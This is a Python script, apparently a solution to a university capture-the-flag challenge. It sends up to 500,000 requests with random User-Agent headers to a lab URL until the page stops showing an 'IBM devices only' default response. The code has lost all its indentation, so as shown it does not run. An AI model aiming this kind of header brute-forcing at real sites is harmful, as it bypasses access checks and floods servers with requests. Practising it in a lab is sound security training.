import requests
from fake_useragent import UserAgent
# URL to brute force
url = "https://ctfd.labs.inf.fh-dortmund.de/ctfd-challenge-4"
# Create a UserAgent instance
ua = UserAgent()
# Default HTML content
default_response = """
User Agent Info
IBM Workstation Server
Diese Seite bedient ausschließlich von IBM eingerichtete Geräte
"""
# Function to brute force headers
def brute_force_user_agent():
for _ in range(500000): # Adjust the range for the number of User-Agents you want to try
user_agent = ua.random # Generate a random User-Agent
headers = {
"User-Agent": user_agent
}
try:
response = requests.get(url, headers=headers)
if response.text.strip() != default_response.strip():
print(f"User-Agent '{user_agent}' gives a different response:")
print(response.text)
return
# else:
# print(f"Nope: '{user_agent}'")
except requests.exceptions.RequestException as e:
print(f"Error with User-Agent '{user_agent}': {e}")
if __name__ == "__main__":
brute_force_user_agent()